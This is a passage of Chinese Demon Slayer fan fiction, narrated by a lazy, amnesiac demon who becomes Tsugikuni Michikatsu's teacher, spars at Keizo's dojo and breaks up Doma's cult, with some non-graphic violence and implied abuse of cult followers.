我转头看去,只见那位邋遢同事放下来嘴里的腿,嘴巴一张一合,像录音机一般放出了鬼舞辻无惨的原声大碟命令。
不会是什么狐假虎威吧。
我狐疑地上前,绕着邋遢同事左右打转,一无所获。
所以这家伙是什么人型录音器吗?
我又和邋遢同事的一只眼睛进行长时间的对视,但看着那双眼只有茫然不解后,我就长长呼出一口气。
我懂了!这就是面向所有鬼的群消息,这个邋遢同事的作用就是见鬼就发送鬼舞辻无惨的催促。
内心骂出一句脏话,我态度十分良好地向邋遢同事点点头,表示消息已读已接收,然后飞快离开了。
他爹的,谁知道再呆下去会不会又有什么新任务,还是先走为敬。
我随便找了个方向离开,密林间,血腥味很重。
真是的,太不讲卫生了。
我看着遍地破碎的肢体,叹了口气--这些人都是彻底没救了啊
我面对这需要打马赛克的场景,忍不住捂住了口鼻。
我是不能理解同事们为什么要吃人,虽然鬼舞辻无惨说吃人能变强,但是,这样的强大总感觉没有任何意义,总感觉吃人好像就会失去什么,虽然我也不知道是什么。
而且,吃着和自己长相相似的东西难道不会很奇怪吗?还是说因为他们长得奇形怪状不想认所以不在乎?
我跳上树干,在树间穿行,避开地下的血污,毕竟我现在只有一套衣服。
然而,就在我穿行间,我耳边忽然传来了什么细微的声音。
哦?
不是小鸟也不是什么小猫,虽然他极力压低了自己的气息,可是呼吸声是无法抑制的。
我小心翼翼地靠近,透过丛生的枝丫,看见了对面树上藏着一个少年--他蜷曲在树上,身上有着不少的伤口,但是手还是紧握着太刀,眼神戒备。
好像一点风吹草动就能让他突然暴起。
看起来好像是幸存者啊......
我猛地拨开树桠,发出大些的动静,就看见对面少年惊恐地睁大双眼,像被吓了一跳,条件反射地
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将太刀对着我。
真是可怜的孩子,恶作剧成功了我也就心满意足了,看着对方这样戒备的样子只是觉得好玩。
“那个邋遢的家伙已经去那边了”,我手指着邋遢同事的方向,好心劝导,“要跑就趁现在吧,不然很危险哦。”
我低头扫了一眼满地血污,还有些惊讶,这个小孩能逃过还真是不容易啊。
就当我践行今日好鬼好事完后准备离开时,那个少年却颤着声音叫住了我,“您......”
我回头,看着他面上充满着久别重逢的激动,“您不跟我一起走吗?这里很危险的。”
我倒是不在意他说的危险了,毕竟我觉得邋遢同事打不过我,只是,看着他这一幅好像认识我的样子.....
我闪身,立马跳到少年所在的枝丫,提着他后襟就带着他在林间穿行--难得碰到个好像过去认识的人,可别被吃了
我边走,边忍不住搭个话,“你认识我?”
然而少年并不做声,我低头看去,他似乎已经被衣服扯着脖子喘不过气了。
--可别死我手上了。
已经到了较为安全的地方,我立马将少年放下,观察他的神色。
好不容易获得空气,少年忍不住咳咳起来,本来涨成青紫的脸渐渐缓了过来。
恢复到正常神色后,少年先向我行了个礼,“多谢您再次救了我,我是继国严胜,也许仙人您不记得了,但是我们确实曾经见过。”
哦呀,仙人,我以前难道还能是神仙?神仙得干多少坏事才能变成鬼啊。
我唾弃了一下这种可能性,心下已有判断--这个叫继国严胜的家伙应该跟以前的我不是很熟。
“不用在意,不过你说我以前还救过你?”我饶有兴致,能从这种半生不熟的人口中听到点过去的事也行。
继国严胜一愣,就在着我目光的催促下将起了我如何在某寺庙的山下从毒蛇口中救下他的,末了,他还紧张地抬着眸子瞧了瞧我,“仙人您说过,只要我按着您说的做,我们日后相见你就会收我作为弟子的!”
嗯?我之前还有这种承诺吗?
我紧盯着继国严胜,看其在对视下眼神游离了一瞬又紧紧盯着我,不由好笑。这孩子说的话绝对掺着些水分,毕竟我我也不像喜欢当人师傅的样子。
不过,“做你师傅能有什么待遇呢?”我漫不经心地问着,看着远方。
继国严胜犹豫了一瞬,然后报出了一大段我想也不敢想的待遇。“当然,如果您不满意,我还可以再继续调整!我只希望您能指导我!”
我被优渥的待遇震撼得瞳孔地震,深吸了一口气,才继续装作云淡风轻地看向继国严胜,“看你这样诚恳的份上,也行吧。”
继国严胜喜不自禁,眸子甚至噙出泪来,恭恭敬敬地给我行了个拜师礼。
我站着不动,自觉接受了这个拜师礼--美好的生活我来了!
我早就受够了没有调料的烤肉、硬邦邦的石板、没有金钱只有大饼还要被催的工作!
再见了鬼舞辻无惨,我今晚就要远航!
20. 入职第三天
对于美好生活的期盼让我心猿意马,充满活力,我用着见鬼的飞快速度将这位继国家的少爷一路提溜回他家,到达他家时甚至太阳还没出来。
以后我说不定能干点跑腿兼职呢?
我放下了继国严胜,拍了拍身上并不存在的灰尘。
继国严胜经过一路颠簸,倒是状态良好。他不问为什么我的速度这么快,为什么我会出现在鬼刚袭击的地方,他只是在乎一点。
“师傅,我们现在可以开始训练了吗?”
他的一双黑眸充满着认真,就像弦月一般的光彩让我忍不住移开了视线
——不是吧,他好像是认真的!我不会给自己找了个卷王雇主吧?
我看着天边。此时天就像不断被稀释的水墨,透着淡淡的光。
所以!按照我现在的鬼设!我应该休息了!
我讳莫如深地看向继国严胜,他看起来有些不解和疑惑,像是不知道我在顾虑什么。
拜托,就算是闻鸡起舞现在鸡都还没及其也太早了吧!
我回忆着继国严胜之前之前跟我说的话,开始提点他,“我之前说过你需要做到什么……”
“守护……均衡的饮食、规律的作息、适当的锻炼……”继国严胜像是想到了什么,眼神有些暗淡。
对对对!就是规律作息,我心里暗暗呐喊着。
继国严胜嘴巴努了努,昂然的状态一改,像是淋湿的落汤鸡,“我很抱歉,师傅,我并没有成功守护住身边的人……”
这几年他一直牢记仙人的教诲,尽力去守护他人。
可是,昨日遇到了那个鬼,他依旧没有什么还手之力。只能在护卫的掩护下逃窜在树上,看着他们被残杀。
如果是缘一了话,一定不会像他一样……
我看着这个小萝卜头身上的伤口,再看看他这般低落又苦大仇深的样子,暗叹自己还得担任心灵导师。
我顺手揉了揉这小萝卜头的脑袋,然后蹲下来,直视他的眼睛。
“你已经做得很好了,能从那个鬼手中逃出,并且小心地藏匿着,这可不是什么人都能做到的。”
“况且”,我接着问,“你在那时抵抗鬼挥刀是否用尽了全力。”
“是的。”继国严胜并没有犹豫。
“那就没问题了。只要能做到自己所能做到的一切,那就应该问心无愧。”我望着天边,太阳已经快要从地平线上爬起。
我猛地跳入廊下,躲避着阳光,话却不停,“而且,因为守护而挥刀总比因为贪欲而挥刀更强,就看你的那群护卫,他们为了保护你绝对爆发出了更强的力量。”
一阵嘴炮后,继国严胜低下了头,似乎在思考着什么。
我可不管他,直接道别,“还有记住我的秘诀,规律的作息,我现在可要去补觉了,你也记得休息了。”
我找了个空房间睡觉去,哪管外面发生了什么。等我醒来,外面又是天黑了。
看来我睡得还挺久的。
我从榻榻米上爬起,缓缓打了个哈欠。
新收的徒弟也是非常的懂事,睡眠期间我有感受到他的靠近,但是他也只是小声问我醒了吗,发现没有回应也是直接退下,并没有再打扰我。
我推开了门,就发现有下女安静跪坐在外面。见我出来,她迎上前来,“大人,您是否需要用餐。”
我点了点头,正好觉得腹中空空。
下女轻声道我明白了,而后向着远处的一个下女做着手势。
我就看着一行下女鱼贯而入,在我随便找的房间内摆满了美味佳肴。
“不知道您喜欢吃什么,就个样式都做了些,请您尝尝。”
我受宠若惊,接过筷子。老实说比起惊喜,我第一反应是这得多费时间啊。
好像是来自灵魂中的打工人的感受冲击着我,让我面对一群翘首以盼等我反应的下女时格外无所适从。
“谢谢!”我开始动筷了,几乎是每吃一口什么,下女们都会仔细看着我咀嚼的频率,口味的偏好。
我锋芒在背,忍不住被一口饭呛到,也有下女立马给我递茶,甚至将一双漂亮的手放至我身前。
我疑惑地望过去,下女也自动为我答疑,“如果您要吐出来了话,可以直接吐在我手上。”
她说的是云淡风轻,却将我搞得瞳孔地震。
不不不,这种事情还是不要啊!
我望着殷勤的下女,诚恳地祈求,简直快要落下泪来,“不用这样子……我喜欢吃肉,调味重的就好,菜只要不是很苦的都行,米饭能多一点就更好了。我吃饭不需要人服侍的。”
用完这一餐艰难的饭后,我直接找上来我的便宜徒弟,告诫他为师作风清廉,不要搞这种太过骇人的形式主义。
继国严胜似懂非懂地点点头,只是目光炯炯看向我,“师傅,我们能开始训练了吗?”
我没想到最大的危机在这里。
是啊,我被优渥的待遇冲昏了头脑,根本忘记了自己完全不会剑术。
嗯,所以我能教什么啊?
我迎着继国严胜期待的眼神,正经地说:“我可不教剑术什么的。”
我观察继国严胜的表情,发现他似乎早有预料,不由感到一阵轻松,“我的教法和别人不同,我主要讲究因材施教。”
继国严胜点点头,并不意外。高人都是这样的。
“因材施教的意思是根据你的天赋、性格、志向和兴趣之类的给你针对性的训练,所以,你觉得呢?”
继国严胜是个很认真的徒弟,具体表现在他对我含糊不清的问题也是仔细的分析了起来,“我的天赋应该是在剑道方面,我希望能成为这个国家最强的剑客,我的兴趣也是剑术吧?至于性格,不过是平平无奇罢了。”
听着这个回答,我忍不住皱了皱眉。如果说继国严胜真的是对剑术痴迷了话这样回答到也没问题,只是......
“只是可能都还比不上缘一。”他有些低落地低下头,然后又像是陷入恍惚之中。
对了,就是这个。
这位名为缘一的胞弟的名字出现在继国严胜的话中频繁得如
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同标点符号,似乎什么事情不拿去与他比较就没有意义。不会他连吃饭吃几口都要和胞弟比较吧?
我忖度,觉得也并不是不可能。
总感觉比起教授剑术,这孩子更应该做的是放下对胞弟的执念吧。
不过我目前暂时也没有什么好方法,只能当个谜语人,留下些意味不明的话来含糊过去,“孩子,我却觉得不是如此哦,你有更加显著的天赋,但是被你所忽视了。”
我看到继国严胜的眸子中浮现出疑惑和一种极浅的希冀,但是我不能细说,因为我也不知道那种天赋是什么,这是一种冥冥之中的感觉,或者说,这只是可恶成年人的万金油话术。
我只能继续扮演着谜语人,“等你发现你真正天赋的那一天,你就会发现自己是如此的强大。”
继国严胜懵懂地点了点头,我几乎不忍地转过头。
这孩子可别被我忽悠傻了。他现在可是目前继国家的家主啊。
是的,这个小萝卜头前段时间才经历丧父之痛,被迫小小年纪就成为了继国家的家主。这会又从鬼口逃生,内心惘然。
我自然是非常理解他想变强的想法,但是,就他对他胞弟缘一的描述,如果描述不是滤镜问题了话,那我觉得这孩子可能很难在这一辈子里战胜缘一。
而且到底为什么一定要在剑术上啊......
我内心不断吐槽,面上还是很淡然。
结束了谜语人的任务,我的良心遭到了谴责,我对着继国严胜招了招手,“来吧,在你找到自己真正的天赋前,我可以陪你练习剑术。”
继国严胜点点头,看着我没有任何配件,连忙贴心递给我了一把备用的太刀,我摇了摇头,“如果可以的话,麻烦给我一把柴刀。”
继国严胜愣了一瞬,然后转身就吩咐下女给我送来一柄柴刀。或许是没想到还会有客人要柴刀,下女从柴房中给我找来了一柄明显过劳工作的柴刀。
柴刀的刀刃上还有明显的豁口。
然而我并不在意,只是握紧柴刀,对着战意满满的继国严胜直接说开始。
继国严胜说一声冒犯了就直接挥刀冲向我,随后很快来了个漂亮的剑技。然而,这个“很快”应该是建立在常人眼中的,对我而言,继国严胜的动作简直像是慢动作,我仅是轻轻闪身就躲过了他的杀招。
但是继国严胜所说自己在剑术上有天分也并非吹嘘,他见我快速闪过,也立马变换动作,乘胜追击。然而,我还是那句话,这还是太慢了。
而且即使他的动作再怎么自然,他眼神的变换确实骗不了人的。我陪他过了几招,感觉大致摸透了实力后,我也就出手了。
诚如我先前所说,我并不会什么剑术。所以我拿着柴刀也只会做些柴刀应该有的动作,劈砍,横切,我随意将刀挥了过去,继国严胜却无法跟上。
柴刀在他的腰前停下,而他的太刀却没及时抵住。我看着挫败的继国严胜,出口安慰,“你确实在剑术上有些天赋。”
然而继国严胜不语,良久才缓过来说一声多谢指教。
21. 入职第四天
我好像把孩子打自闭了。
当我明白这点的时候已经是第二天了。
继国严胜似乎做什么都是怏怏的,他虽然第二天早上已经一大早向我请教剑术。但是他的眼神里已经没光了。
虽然说人类不是奥特曼,眼里是不会发射莫名其妙的激光的。但是任谁看见继国严胜这样大受打击的样子,都会觉得,是我把这孩子眼中对于剑术的光给消弭了。
我进行了深刻的反思。
难道是昨天没有放水让这孩子对自己的实力产生了巨大的怀疑?
我尝试在早上的练习中放慢了自己的速度,削弱了自己的力量,然而效果并不好。继国严胜在练到一半就抬起头看向我,认真地说,“师傅您无需给我放水。”
诶?被看出来了......
我不知道怎么回答,只是默默点点头,继续对打。
还是说我昨晚那番肮脏的成年人的万金油回答适得其反了?
我在练习完剑术后咳咳两声,在室内道场站定,对着继国严胜说,“关于昨天的那些话......”
然而,没等我说完,继国严胜就露出了一个较为复杂的眼神,然后出乎意料地打断了我的话,直线先行告退了。
天呐,不会吧,难道我要失去这份优渥的工作了?
亡羊补牢,为时不晚。我暗下决心,至少得抽空去进修一下专业技术,学习一下武术之类的。总不能让我眼睁睁地失去这份工作。
用过餐后,我向继国严胜说明了我要暂时离开几天,麻烦他先为我准备一个帷帽,顺便暗中派人去寻找名为青色彼岸花的药材。
继国严胜也不问为什么,直接点点头答应,还给了我些钱财叫我路上带着。
多懂事的学生啊!我都觉得自己良心发痛,誓要学成归来好好帮助继国严胜精进剑术。
我放心地离开。在头戴帷帽身穿长袍,手上还带着自制的手套,将自己全身裹得不透任何一寸肌肤后,我在白天出门了。
毕竟我的鬼设是害怕阳光,要是大大咧咧出门,又被哪位同事或者直接被老板撞见,我的日子恐怕就到头了。
不过我也知道自己这身装扮在常人眼中看来还是较为诡异的,因此我也一直避开人群行走,偶尔隐匿于人多的建筑中打探消息。
我在探听是否有好的道场。最好是师父武艺高强,师生关系极为融洽的那种。
然而打听来打听去,就发现有一间看起来弟子众多的剑道场就在不远的郡处。虽然人们提及他的主要目的是嘲笑旁边的素流道场。他们嬉笑着说道场主人庆藏的无能,一个弟子都招不到,不如早日关了道场算了。
“那位叫作庆藏的道场主人的拳法倒是十分高明,好像是叫作素流拳法。”有看客看着这对素流道场的漫骂,然不住开口替其辩解了一句。
然而他的这句话很快就淹没在了众人的嘲讽中。“这又有什么用呢?说是厉害,可是谁又见识过呢?更何况,如果真的厉害,他怎么会只招到腕上还刻着三道刺青的家伙。”有人补充了一句,哂笑着再次饮下了面前的酒。
腕上刻着三道刺青,这应该是因为犯了什么罪吧。我只能合理推测,毕竟我的鬼生之前大部分时间都是窝在山里,而人类的记忆我又无法触碰。
既然这个剑道场和素流道场讨论度这么高,那我肯定得先去转转。
打定主意,我便再听了个大概位置就直接出发了。道场还是比较好找的,虽然没有路牌,但是登高一看,便能确定大概位置。
到了道场后,我便趁人不留意直接猫着腰来到了剑道场和素流道场前的一棵大树上。
树离着剑道场和素流道场不算近,但是好在树够高,我的视力又够好,因此在这倒是可以俯瞰两个道场的大概。
那间剑道场的门生确实众多,但我观察那位剑道道场主的剑术就微微瘪了瘪嘴。这确实不太行,甚至连继国严胜也无法相比。
但我还是耐心地看下去,毕竟弟子众多的原因处了剑术出众,说不定是因为他擅长处理师生关系呢?
然而,随着我看下去,我不禁大失所望。
那位剑道道场主训练弟子的方式依旧是指导一下弟子的动作,让其结伴对练,根本就没有什么让弟子去瀑布底下感受水流从而悟出剑道,也没有将弟子的眼睛戳瞎然而锻炼他其他感官的敏锐,也没有放出一些猛兽让弟子们置之死地而后生。
我根本不清楚自己的想法有多可怖,毕竟我是在脑海中想过是否要让继国严胜试着这样训练。因而我只觉得剑道场的人训练的方式无聊透顶。
况且,就那位周围弟子称呼为“少主”的孩子骄横跋扈的样子来看,这位剑道场主看起来也不过尔尔。
--这根本没教出什么能干的弟子嘛。
我又扭头看向旁边的素流道场。
这边的场景大不相同,倒不是说道场主人在这展现了多么强大的力量。
我自己观察着素流道场,眯了眯眼睛。
素流道场内,根本没人在训练。只是一个手臂有刺青的男孩在到场内的井中打水,一位少女坐在廊下温柔地注视着他的动作,一副郎情妾意的样子。
哇,这是什么可爱小情侣啊。我吃着狗粮,继续看着。
少年有着蓝色的眼和粉色的睫毛,少女有着粉色的眼和蓝色的雪花发饰,两人偶尔视线相撞,都是羞涩地移开视线然而双颊微红。
青春啊青春。我不禁感慨这纯情的一幕,轻轻笑出了声。
却见本来还是羞涩模样的少年一愣,反应极快地朝我这个方向看来。
哎呀哎呀。我又微微隐去了身形,深觉惊讶。这孩子了不得啊。
我对自己的隐匿身法还是挺有自信的在山里时,如果我有意隐匿,老虎从旁穿过也不会意识到我正躺在旁拨弄着狗尾巴草,剧毒的蛇也会自若地从我身上爬过把我当做一个稍微柔软的草地。虽然这些只是我为了更好摸鱼,懒得挪地方而训练的,但是这效果确实毋庸置疑的。
所以说,这孩子,还蛮有天赋的啊。我饶有兴致地摸了摸下巴,感觉自己算是来对了。
那个少年在我这方向紧盯了一会,终究是一无所获。他放下了手中的水桶,有些疑惑不解。
少女见他这般警觉的样子,轻声问:“狛治,怎么了吗?”
那个名为狛治的少年摇了摇头,安慰她,“没什么,只是我感觉那里有人。”他看着远处高高的树,犹豫片刻,又说到,“可能只是有鸟飞过吧。”
*
被称作鸟的我对这家道场的兴趣越发浓厚了起来。
我很好奇这间道场的主人是怎么训练这位狛治少年的。
于是在我去吃了个饭,大快朵颐后,我又来了。
不过我这回并没有选择偷窥,我光明正大地上道场拜访,以着家中幼弟想要变得更强因而上道场前来考察的名义直接准备观摩训练。
刚刚才打工回来的道场主庆藏听了我的请求,想也没想就答应了,似乎完全不怕我是骗子。
不过也是,他应该也不怕被骗。我打量着拥有大片土地但是只拥有一个弟子的素流道场,微微叹了口气。这样除了地其他什么也没有的家徒四壁的场景,就是小偷进门也会感到为难吧。
庆藏从我的神情中并不能猜出我在想什么,他只是将我引入了室内,观摩着他如何与狛治少年练拳。
老实说,狛治少年确实很有天赋,他有着野兽般的直觉,对于他人的进攻非常敏锐,简直像是能提前预判他人动作一般。
但是,他的师傅庆藏却不急不缓,一套拳法打得虎虎
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生威,总能出现在狛治意想不到的地方。那个叫作恋雪的小姑娘站在我的身旁,和我一起看着两人对练,眼里闪过憧憬。
他们的对练是以狛治被庆藏击中腹部结束的。面对飞出去的狛治,恋雪急忙跑了过去,扶住他。因着跑得太快了,恋雪还微微咳嗽了下,这会又轮到狛治从地上爬起来扶着恋雪了。
好在恋雪只是小咳了一下就缓过来了,面对我和庆藏两人打趣的眼神,她的小脸涨得通红,平白增添了一抹艳色,使得狛治看的一愣。
啊啊,青春真好。我兀自感叹的,对着表情十分微妙的庆藏请教,“您的拳法看起来十分精妙,为什么还会没有弟子呢?”
庆藏愣了愣,然后显得有些狼狈,“这个啊......”
狛治倒是直接替他说出了,“都是因为隔壁剑道场一直在阻拦,每每招到一个弟子后,他们都会来找道场的麻烦,要么就是在新弟子落单时取痛殴他们......”他说了许多隔壁剑道场的的过分事迹,显然是积怨已久。
真是离谱的商战啊。这样的举动虽然下三滥,但看起来确实有用,这使得没有别的人敢来素流道场了。
我思索片刻,突兀发问,“庆藏先生,我想请问你的素流拳法的秘诀是什么?”
对我我这样不是很礼貌地直击商业机密的问题,狛治显得有些生气,庆藏倒是很坦然,“是一个守护他人的心哦。”他看着狛治和恋雪,笑得很是温柔。
原本气恼的狛治也像是想到了什么,看了一眼恋雪,也是默认了他师傅的说法。
好好好!这不是和我失忆前说的一样嘛!我感动得直点头。
“如果可以,我能和您切磋一下吗?”我向庆藏微微躬身,自觉非常礼貌,但是狛治却显得有些讶异,有种想说什么却不能说的感觉。
显得好像我不是尊敬他人的样子。
哎呀呀,我懒得解释,只是闪身一个手刀。
等手刀到了狛治脖颈前,他屏住了呼吸,却来不及动作。
……好快的速度。
狛治在心里暗暗称道,而后摆正了姿态。“师傅,您要小心。”
狛治能感觉到面前的女人并没有恶意,只是想纯粹进行切磋。
那么,就让他来欣赏两个强者的对决吧。
他站在一旁,与恋雪一同着看两人对决。
“好厉害。”恋雪看着那女人敏捷又充满力量的姿态,发出倾佩的声音。
狛治也点点头。那个女人的身手确实很好,她看起来并没有系统学习什么身法,但是,纯粹的力量和速度和耐力就使得她足够可怕了。
“我也会努力赶上的。”看着师傅逐渐显出颓势,狛治轻声说道。
这句话被我听见了。
我不由得稍微分心思考了一下—为什么这孩子的态度和继国严胜不同呢?
庆藏抓住了我一瞬间的分心,他的拳猛的向我面部袭来。
危险危险。我想着,侧头躲避,但是拳风还是扫过了我的脸颊。
庆藏马上就停了下来,有些歉意地看着我。我摆摆手,真心实意称赞,“您真是厉害呢!”
接下来就是一串客套了,我将继国严胜给我的一部分钱财分给了庆藏,在其推却下强硬地塞给了庆藏。
“请不要拒绝,我是不希望这么强大的拳法失传啊。”我说的话并不是客套,我看着站在庆藏身旁的狛治,满意地点点头。
本人的鬼司建设人才库人才加1。
“您可以招收更多的弟子,毕竟您的场地够大嘛……钱我会想办法的”我半开玩笑地说着,一面想着以庆藏的眼光我的人才库还能增加多少人。
不过,我看着被我话冲击了的三人,声音带着克制不住的笑,“如果方便的话,将您的弟子借我几天吧。”
22. 入职第五天
当遇到解决不了的问题的时候,要学会向他人求助。
虽然对于继国严胜目前的异样,我是可以直接叫庆藏帮我去开解的,虽然不一定能成功。
深谙外包工程的我选择了更为委婉的双线作战--先叫庆藏教出来的好学生狛治去与继国严胜相处一下,让他感受同龄的强者。
然后嘛......
我看向庆藏,咳了两声,开启了谈心,“我有一个朋友,她的弟子目前陷入了一种不太妙的情况。”
庆藏点点头,很关切地接话,“她的弟子怎么了。”
我思考了一下,决定将故事高度概括,“他的弟弟和师傅都太强了,以至于他可能觉得一辈子都赶不上,所以最近显得很低迷。”
“你的徒弟,啊不是就是你朋友的徒弟……”庆藏看着我谴责的眼神,立马找补。
我不打算计较,只是催促他继续,口误这事就算了。
庆藏也很来事,他很认真思考了一会,“这种事情只有那个弟子的师傅才能给出最好的答案哦。”
什么啊,说车轱辘话的可恶成年人。我的眼神变得狠戾了起来。
我对这个丑恶的世界失望了。
然而庆藏并非毫无作用,他自己解释着,“其实你说的这种情况我并不是没有遇到过。我以前也有收过很有天赋的弟子,其他弟子面对他惊人的天赋也是吃惊,不过他们苦练了一段时间后发现还是赶不上就离开了。”
所以这家伙也没什么发言权啊。
为什么要选择离开呢?我本打算刨根问底,却突然想到了什么。
庆藏之前的弟子中,有不少或许是抱着吃绝户的心来的。强大的师傅,巨大的道场,再加上这师傅只有一个女儿……
想必不少人都动了歪心思。所以当有更强有力的能继承道场的竞争对手出现时,他们就直接退场了。
这完全就是不战而屈人之兵,明明还有很多种方法能战胜天赋高的人啊……我忍不住暗自吐槽,却突然福至心灵。
这么想来,继国严胜的心结不一定是在剑术上啊,如果……
我摸着下巴,被自己的奇妙想法所震撼。
“庆藏先生,谢谢你啊……”我大为感动,决定之后再刷点继国严胜的金币去资助一下道场。
*
自觉已经解决了一件大事,我高兴地哼着不成调的小曲,打算四处逛一下。
当然,我是个非常上进的鬼,于是我决定在享受的同时给自己增加一点小难度。
我在屋顶上进行着快乐跑酷,挑战能多久不被发现。
在踏过了几个城镇对屋顶后,我路过了一只躺在屋顶上休息的小猫猫,没忍住,摸了一下。
这样就算是挑战结束了吧。
我摸着小猫猫,在屋顶吹风,感受惬意鬼生。
屋顶下的房间声音有些嘈杂,一会是像是念咒一般的重复着什么东西,一会安静下来,紧接着又传来什么怒吼。
但是这些并不影响我和小猫猫的惬意。直到有人在楼下大声唤着小猫猫吃饭时,小猫猫才伸了个懒腰,飞檐走壁去吃饭。
我告别猫猫,决定重新开始挑战。就挑战在屋顶上睡觉能多久不被发现吧。
我看着黑夜,觉得这是个非常明确的决定。只是下面的房间突然爆发出剧烈的争执声,我挠挠头,有些烦。
这样到底是在干什么啊,要打不要在我睡的床下面打啊。
我无视自己不请自来的身份,将屋顶凿开了个口子,摸着手中的屋顶材料,猫着腰往下看去。
看到下面是景象,我感觉手上的力气一重,手中的东西化为粉末。
下面的房间极大,布置的尤为奇怪,有个孩子端坐在一个莲花座中间,我只能看见他象牙色的发顶。他好像是坐着睡着了,将手撑在脑袋上。
在这孩子身前,几位妙龄的少女穿着信众的衣裳,衣衫凌乱,呆呆地坐着,嘴角还有被击打的痕迹。
少女中间,一个气质猥琐的男人在其中蠕动,他在对着已经几乎呆滞的少女上下其手,甚至……
有一个少女头部不自然地仰着,她的眼睛没什么焦距,只是面无表情,她嘴里呢喃着我听不懂的话,“神明大人呢……神明大人在哪里啊……”
我却觉着她似乎与我对视。
我不再继续看下去,又揪了部分屋顶材料,将其猛地掷下。
那些个材料在较快的速度下化作利剑,直击形容猥琐的脑袋上。一时间,红的白的流了一地。
少女们似乎并没有反应过来,只是呆愣愣地注视着眼前这般血腥场景,直到红白液体蔓延到了身上,才像是如梦初醒。
“这是怎么了!教主大人……”她们看向象牙白发色的小孩,惊恐不已。但是脸上又带着谜一样的解脱。
“太好了……真的有神明大人来救我了吗?”在兵荒马乱中,一个少女的声音是那么地突兀。她看向莲花座,身体本能地进行着叩拜的姿势,忽而又摇了摇头。
“不是的……神明大人不是这个……”她说不清自己的想法,只是痛苦的诘问自己,半晌眼中迸发出泪泉,抓着自己的头发说不出一句完整的话。
门口有人听到了这般混乱,却并不在意,只是又离开了些。
“这回声音这么吵吗。”某位信众打扮的人拿着喂猫的鱼,摇摇头,又去唤着猫。
房间里的人依旧在不知所措,我的步子扎在屋顶上,看着房间的一切。
那个孩子似乎现在睡醒了,他被巨响惊醒,步子迈下莲花台,围着男人的红白混合物绕了一圈,看着情绪复杂的少女信众们,只是歪了歪头。
他却并不说什么,只是又围着房间打转,像是在找武器的来源。
“奇怪,奇怪,你们说的神明大人在哪里呢?”他语气疑惑,然而发问得不到任何人的回答。
受难的少女,看起来像是傻子的孩子,一个丑恶烂人,还有看起来就不是很对劲的场景布置……
再加上这一直在叩拜的姿势和对神明的执念。我心道不妙,这绝对不是什么正经地方。
我看着已经战损的屋顶,思考片刻,随手扯了个衣料,遮住了自己的脸
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,然后又努力回忆鬼舞辻无惨的姿态。
我尝试催眠自己让自己的背后长出些触手,然而等着那象牙白发色的小孩又绕了室内一圈,我的触手还是没能长出来。
—真是残忍,为什么一点法术我都不会
我开始怀疑起了自己的天赋,一时间倒是很能共情继国严胜。毕竟鬼舞辻无惨这样不聪明的鬼都会变形之类的法术,我不会总感觉输了很多。
我叹口气,接受自己目前是筋肉派的悲惨事实。
干脆地跳下了屋顶,我将屋顶直接捅了个大洞。站定在地板上,我摸了摸自己的脸部伪装。
——很好!没掉。这就是完美
变故太多了,穿着信众服饰的少女们又是一惊,发出惊天叫声。
“给我将衣服穿好。”我压低了嗓音,逼迫道,“我讨厌吵闹和混乱。”
少女们倏忽静音,将混乱的衣衫理好,将头发理好,除了中间地板中的红白之物,但看这群少女恢复如初的样子,人们或许会觉得什么都没发生。
我满意点点头,又从红白之物中拨出一根肉骨,将其猛地扔向大门,门应声而破。
跳下屋顶的动静加上砸门声,足以吸引这个不知名组织中的大多数人赶来。
他们有的像是护卫,有的却是衣着华丽愁云满面。他们看着室内骇人一幕,都纷纷不敢上前。我也不说话,只是等着更多人来。
直到有个像是主事的女人赶到,这种诡异的沉寂才被打破。
她看了一会地上红白之物间的衣物,眼迅速瞪大,嘴里似乎想惊呼又很快收起。
“教主大人”,她朝着象牙白发色的孩子挥手,嘴角甚至还带着微笑,“快过来”。
那个被称作“教主大人”的小孩又歪了歪脑袋,却并未向她走去。
他转过身,我这时才看清了他的样貌。他的嘴角带着一种恬静的微笑,和那位看起来是主事的女性的笑看起来几乎像是复制粘贴一般。
而更奇异的一幕在于,他的眸子。那是一双五彩的眸子,简直像是彩虹一般。而望着我,那双眸子里还沁出泪来。
诶?眼泪没有变成珍珠啊。我对这位看起来充满玛丽苏配置的少年,有些好奇他为什么哭,又打算说些什么。
“你就是神明大人吗?”那个男孩上前一步,看着我,声音听起来颇为期待。
不是啊,这种事……
我回想起继国严胜先前误认我是仙人,十分仔细地思考着自己是否真是仙风道骨。
以后说不定能靠当神棍赚钱啊……
为自己新的出路而欣喜,我心情愉悦地回答这位少年,“不是哦……我可是厉鬼呢。”
我露出一个狰狞的表情,又指了指地上那一坨红白之物,“这样的垃圾就会被我直接处决哦。”
那些穿着华贵的人大惊,骤然又退后一步,我只是笑着看过去,正想再拽几句比较帅的台词,就发现自己的腿上突然多了一个人。
那位教主大人抱着我的腿,脸上还是刚刚的微笑。
“那能带走我吗?恶鬼大人。”
23. 入职第六天
这小子,好难缠。
我大力将其从我腿上剥开,看着震惊的众人。
这孩子语出惊人可不应该怪我头上啊。
那个看起来像是主事的女人不悦地看着那位孩子,但是语气听起来还是很恭敬,“教主大人,请您过来,那里很危险。”
她有些戒备地看着我,但是仍然往着那孩子的方向靠近,伸手试图将他拉过来。
真是过分啊,我可不是什么死鬼哦。
毕竟这位女士对于受害的少女们,应该并非完全不知情啊。否则她看着面前的少女们,不会眼神如此了然,也不反驳我嘴中的“烂人说”。
这倒是激起了我的逆反心理,我提起这位教主大人的后襟,眼睛带笑,“哦,能介绍一下你们的教义吗?”
我语气中或许威胁之意明显,那位女士不敢说话,只是紧盯着我手上的孩子,眯了眯眼,心中在衡量着什么。
之前陷入混乱的少女们也一眼不发,那位嘴中反复呢喃着“神明大人”的少女深深地看了我一眼,嘴角带着我不能理解的虔诚的笑。
反而是我手上的孩子先说了话,“我们万世极乐教的教义是开心就好,不要勉强自己做痛苦或者难受的事哦。”
我不得不承认我被这个教义吸引了一瞬—太符合我摸鱼就好的心了。
不过就看那些受难的少女,这个所谓的万世极乐教必然不是什么好货色啊。
而且万世极乐,想要追求这个的人要付出什么呢?
鬼舞辻无惨为了健康付出了不能见阳光的代价,我为了活命付出了不得不给屑老板打工的代价,那么……
我用另一只手指着一众表情各异的信众,“那么信奉你们的教义需要付出的代价呢?”
这孩子像是不理解我为什么要问出这个问题,“当然要为我们奉献一切啊,金钱、贞洁,把你能给的一切都献给神明难道不是应该就这个样子吗?”
我又环顾着这间奢华的房间,和闻言怒目圆睁但是极力掩饰的女士,还有表情麻木的信众。
我看着这个孩子,他的眼中是一种莫名的疑惑,透过那五彩的眼下确实一片空白。
